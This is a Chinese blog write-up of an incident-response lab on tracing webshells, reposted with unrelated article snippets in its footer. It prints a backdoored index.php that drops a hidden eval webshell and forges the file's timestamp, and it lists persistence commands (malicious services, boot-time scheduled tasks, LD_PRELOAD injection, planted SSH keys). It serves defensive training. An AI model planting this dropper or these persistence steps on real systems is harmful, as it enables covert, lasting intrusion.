玄機-應急響應-入侵排查

靶機排查目標:

1.web目錄存在木馬,請找到木馬的密碼提交

查看/var/www/html。

使用find命令查找

find ./ -type f -name "*.php | xargs grep "eval("

查看到1.php里面存在無條件一句話木馬。

2.服務器疑似存在不死馬,請找到不死馬的密碼提交

什么是不死馬?

一種通過修改系統配置、注入合法進程或利用漏洞實現自啟動隱蔽運行的惡意程序,即使系統重啟或殺毒軟件掃描也難以清除。

  • 特點
    • 持久化:通過注冊表、計劃任務、系統服務等方式實現自啟動。
    • 隱蔽性:偽裝成系統進程、注入合法程序或隱藏文件。
    • 對抗檢測:可能禁用安全軟件、清除日志或動態更換進程名。

windows下常見的隱藏位置

注冊表鍵

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

啟動文件夾:

C:\Users\<用戶名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

系統服務

通過sc.exe或服務管理器(services.msc)創建惡意服務:

sc create "假服務名" binPath="惡意程序路徑" start=auto

計劃任務

使用schtasks創建定時任務:

schtasks /create /tn "偽裝任務" /tr "惡意程序路徑" /sc onstart /ru SYSTEM

進程注入:

  • 注入到explorer.exesvchost.exe等合法進程內存中,通過工具如Process Hollowing實現。

文件隱藏

  • 隱藏文件:通過attrib +h +s隱藏文件。
  • 系統目錄
C:\Windows\System32
C:\Windows\Temp
C:\Users\<用戶名>\AppData\Local\Temp

linux下常見隱藏位置

1) 自啟動腳本
  • rc.local(需執行權限):
/etc/rc.local

cron計劃任務

/etc/crontab
/var/spool/cron/<用戶名>
/etc/cron.d/

systemd服務:

/etc/systemd/system/惡意服務.service
~/.config/systemd/user/
(2) 動態鏈接庫注入
  • 修改LD_PRELOAD環境變量,劫持合法程序:
echo 'export LD_PRELOAD=/lib/惡意庫.so' >> ~/.bashrc
(3) 隱藏進程/文件
  • 隱藏進程:通過libprocesshider等工具隱藏進程。
  • 隱藏文件
/tmp/.惡意文件(以點開頭)
/dev/shm/(內存文件系統)
/usr/lib/.hidden/
(4) SSH后門
  • 修改authorized_keyssshd配置文件:
~/.ssh/authorized_keys  # 添加攻擊者公鑰
/usr/lib/ssh/ssh-xxx(替換ssh二進制文件)

防護手段

windows

工具

  • Autoruns(檢查自啟動項)
  • Process Explorer(分析進程樹)
  • PowerShell命令:
Get-WmiObject Win32_StartupCommand | Select-Object Name, Command, Location
  • 日志
    檢查事件查看器(eventvwr.msc)中的異常登錄或服務啟動記錄。

linux的

  • 工具
    • systemctl list-unit-files --type=service # 列出所有服務及其狀態
    • crontab -l(檢查計劃任務)
    • lsmod(查看內核模塊)
lsof -i          # 查看異常網絡連接
find / -type f -perm /4000  # 查找SUID可疑文件
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

file_put_contentsPHP 中用于將數據寫入文件的函數,功能類似于依次調用 fopen()fwrite()fclose() 的組合,但更簡潔高效

從這里可以看出來這里在創建木馬文件,把木馬文件放到.shell.php中并修改時間戳,掩蓋修改。

這里不死馬的密碼就是那串md5值

3.不死馬是通過哪個文件生成的,請提交文件名

從第二步中可以看出是由index.php生成的

4.黑客留下了木馬文件,請找出黑客的服務器ip和端口提交

剛才查看網站根目錄的時候發現了一個可疑文件。

運行。

發現沒有權限。

使用命令

chmod +x ./'shell(1).elf'

+x是賦予這個文件執行的權限

執行之后使用netstat來查看我們的網絡連接和監聽端口情況。

netstat 命令

netstat 是一個網絡工具,用于顯示網絡連接、路由表、接口統計信息、偽裝連接和多播成員信息。

選項和參數

  • -a:顯示所有連接中的端口,包括監聽和非監聽。
  • -n:以數字形式顯示地址和端口號,而不是將其解析為主機名或服務名。
  • -t:顯示 TCP 連接。
  • -l:顯示監聽狀態的套接字。
  • -p:顯示使用每個套接字的程序。

另外開一個窗口執行netstat命令查看連接情況。

用lsof也是可以的

lsof -i

發現了黑客的ip地址和端口情況。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/74962.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/74962.shtml
英文地址,請注明出處:http://en.pswp.cn/web/74962.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

usbip學習記錄

USB/IP: USB device sharing over IP make menuconfig配置&#xff1a; Device Drivers -> Staging drivers -> USB/IP support Device Drivers -> Staging drivers -> USB/IP support -> Host driver 如果還有作為客戶端的需要&#xff0c;繼續做以下配置&a…

愛普生高精度車規晶振助力激光雷達自動駕駛

在自動駕駛技術快速落地的今天&#xff0c;激光雷達作為車輛的“智慧之眼”&#xff0c;其測距精度與可靠性直接決定了自動駕駛系統的安全上限。而在這雙“眼睛”的核心&#xff0c;愛普生&#xff08;EPSON&#xff09;的高精度車規晶振以卓越性能成為激光雷達實現毫米級感知的…

28--當路由器開始“宮斗“:設備控制面安全配置全解

當路由器開始"宮斗"&#xff1a;設備控制面安全配置全解 引言&#xff1a;路由器的"大腦保衛戰" 如果把網絡世界比作一座繁忙的城市&#xff0c;那么路由器就是路口執勤的交通警察。而控制面&#xff08;Control Plane&#xff09;就是警察的大腦&#xf…

58.基于springboot老人心理健康管理系統

目錄 1.系統的受眾說明 2.相關技術 2.1 B/S結構 2.2 MySQL數據庫 3.系統分析 3.1可行性分析 3.1.1時間可行性 3.1.2 經濟可行性 3.1.3 操作可行性 3.1.4 技術可行性 3.1.5 法律可行性 3.2系統流程分析 3.3系統功能需求分析 3.4 系統非功能需求分析 4.系統設計 …

去中心化固定利率協議

核心機制與分類 協議類型&#xff1a; 借貸協議&#xff08;如Yield、Notional&#xff09;&#xff1a;通過零息債券模型&#xff08;如fyDai、fCash&#xff09;鎖定固定利率。 收益聚合器&#xff08;如Saffron、BarnBridge&#xff09;&#xff1a;通過風險分級或博弈論…

反射率均值與RCS均值的計算方法差異

1. 反射率均值&#xff08;Mean Reflectance&#xff09; 定義&#xff1a; 反射率是物體表面反射的電磁波能量與入射能量的“比例”&#xff0c;通常以百分比或小數表示。 反射率均值是對多個測量點反射率的算術平均&#xff0c;反映目標區域整體的平均反射特性。 特點&a…

[MySQL初階]MySQL(8)索引機制:下

標題&#xff1a;[MySQL初階]MySQL&#xff08;8&#xff09;索引機制&#xff1a;下 水墨不寫bug 文章目錄 四、從問題到底層&#xff0c;從現象到本質1.為什么插入的數據默認排好序2.MySQL的Page&#xff08;1&#xff09;為什么選擇用Page&#xff1f;&#xff08;2&#x…

Access:在移動互聯網與AI時代煥發新生

Microsoft Access&#xff1a;在移動互聯網與AI時代煥發新生 在移動互聯網和人工智能&#xff08;AI&#xff09;技術快速發展的今天&#xff0c;許多傳統工具被認為已經過時。然而&#xff0c;Microsoft Access&#xff0c;這款曾經風靡一時的數據庫&#xff0c;真的已經被淘…

【無人機】無人機PX4飛控系統高級軟件架構

目錄 1、概述&#xff08;圖解&#xff09; 一、數據存儲層&#xff08;Storage&#xff09; 二、外部通信層&#xff08;External Connectivity&#xff09; 三、核心通信樞紐&#xff08;Message Bus&#xff09; 四、硬件驅動層&#xff08;Drivers&#xff09; 五、飛…

【項目日記】高并發服務器項目總結

生活總是讓我們遍體鱗傷&#xff0c; 但到后來&#xff0c; 那些受傷的地方一定會變成我們最強壯的地方。 -- 《老人與海》-- 高并發服務器項目總結 模塊關系圖項目工具模塊緩沖區模塊通用類型模塊套接字socket模塊信道Channel模塊多路轉接Poller模塊 Reactor模塊時間輪Tim…

Vue項目 bug 解決

Vue2項目部署失敗 從gitee 上拉下一個前端項目&#xff0c;然后npm install&#xff0c;報錯如下&#xff1a; 解決辦法&#xff1a; 從 npm切換到cnpm&#xff1a;npm install -g cnpm執行命令export NODE_OPTIONS--openssl-legacy-provider下載依賴&#xff1a;cnpm instal…

接口自動化入門(四)

1. JMeter 的多組數據測試 1.1 使用 CSV 數據文件 JMeter 支持通過 CSV 文件提供多組測試數據&#xff0c;適用于參數化測試場景。具體步驟如下&#xff1a; 創建一個 CSV 文件&#xff0c;將測試數據以逗號分隔的形式存儲。例如&#xff1a; username,passworduser1,pass1u…

企業數據分析何時該放棄Excel?

在企業數據分析中,Excel 的適用數據量范圍取決于 數據復雜度、計算需求 和 硬件性能: 一、Excel 適合處理的數據量范圍 數據規模適用場景限制與風險≤10萬行- 日常報表 - 簡單數據透視表 - 基礎公式計算(如SUMIFS、VLOOKUP)處理流暢,無明顯性能問題10萬~50萬行- 較復雜分析…

群暉NAS的最好的下載方式(虛擬機安裝win系統安裝下載軟件)

一、背景 買NAS的其中一個用途就是下載&#xff0c;尤其是那種BT、磁力下載這種需要耗時較久的&#xff0c;開著電腦就是為了下載這種非常耗電和耗硬盤。 二、應對策略 既然有上面 “背景” 提到的痛點&#xff0c;有什么解決方式&#xff1f; NAS 上用docker安裝迅雷&…

Spring AI與阿里云開發實踐——生成式Java AI應用架構全解析

本文深度解析基于Spring框架與阿里云服務構建生成式AI應用的技術路徑&#xff0c;涵蓋架構設計、模型集成、性能優化三大維度。通過某金融企業智能客服系統實戰案例&#xff0c;揭示Java生態下AI應用開發的7個關鍵實踐要點&#xff0c;結合Gartner最新技術成熟度曲線&#xff0…

基于springboot體育俱樂部預約管理系統(源碼+lw+部署文檔+講解),源碼可白嫖!

摘要 隨著我國經濟的高速發展與人們生活水平的日益提高&#xff0c;人們對生活質量的追求也多種多樣。尤其在人們生活節奏不斷加快的當下&#xff0c;人們更趨向于足不出戶解決生活上的問題&#xff0c;線上管理系統展現了其蓬勃生命力和廣闊的前景。與此同時&#xff0c;在科…

找不到導入的項目“xxx\QtMsBuild\Qt.props”。請確認 Import 聲明“$(QtMsBuild)\Qt.props”中計算結果為

系列文章目錄 文章目錄 系列文章目錄前言一、問題原因 前言 新建的項目visual studio2022 使用Qt vs tools 找不到導入的項目“E:\osgEarth\DigitalSimulationPlatform\DigitalSimulationPlatform\QtMsBuild\Qt.props”。 請確認 Import 聲明“$(QtMsBuild)\Qt.props”中計算結…

WPF設計標準學習記錄17

在控件中的ControlTemplate的觸發器 <Button Content="將ControlTemplate定義在在控件中" Width="280" Height="40" Margin="10" Foreground="#747787"><Button.Template><ControlTemplate TargetType=&quo…

【DeepSeek原理學習2】MLA 多頭隱變量注意力

解決的問題 Multi-Head Latent Attention&#xff0c;MLA——解決的問題&#xff1a;KV cache帶來的計算效率低和內存需求大以及上下文長度擴展問題。 MLA原理 MLA原理&#xff1a;其核心思想是將鍵&#xff08;Key&#xff09;和值&#xff08;Value&#xff09;矩陣壓縮到…

LabVIEW 開發如何降本增效

在 LabVIEW 開發領域&#xff0c;如何在確保項目質量的同時降低開發成本&#xff0c;是眾多企業和開發者共同關注的焦點。這不僅關乎資源的高效利用&#xff0c;更影響項目的投資回報率和市場競爭力。下面&#xff0c;我們將從多個維度深入剖析降本策略&#xff0c;并結合具體案…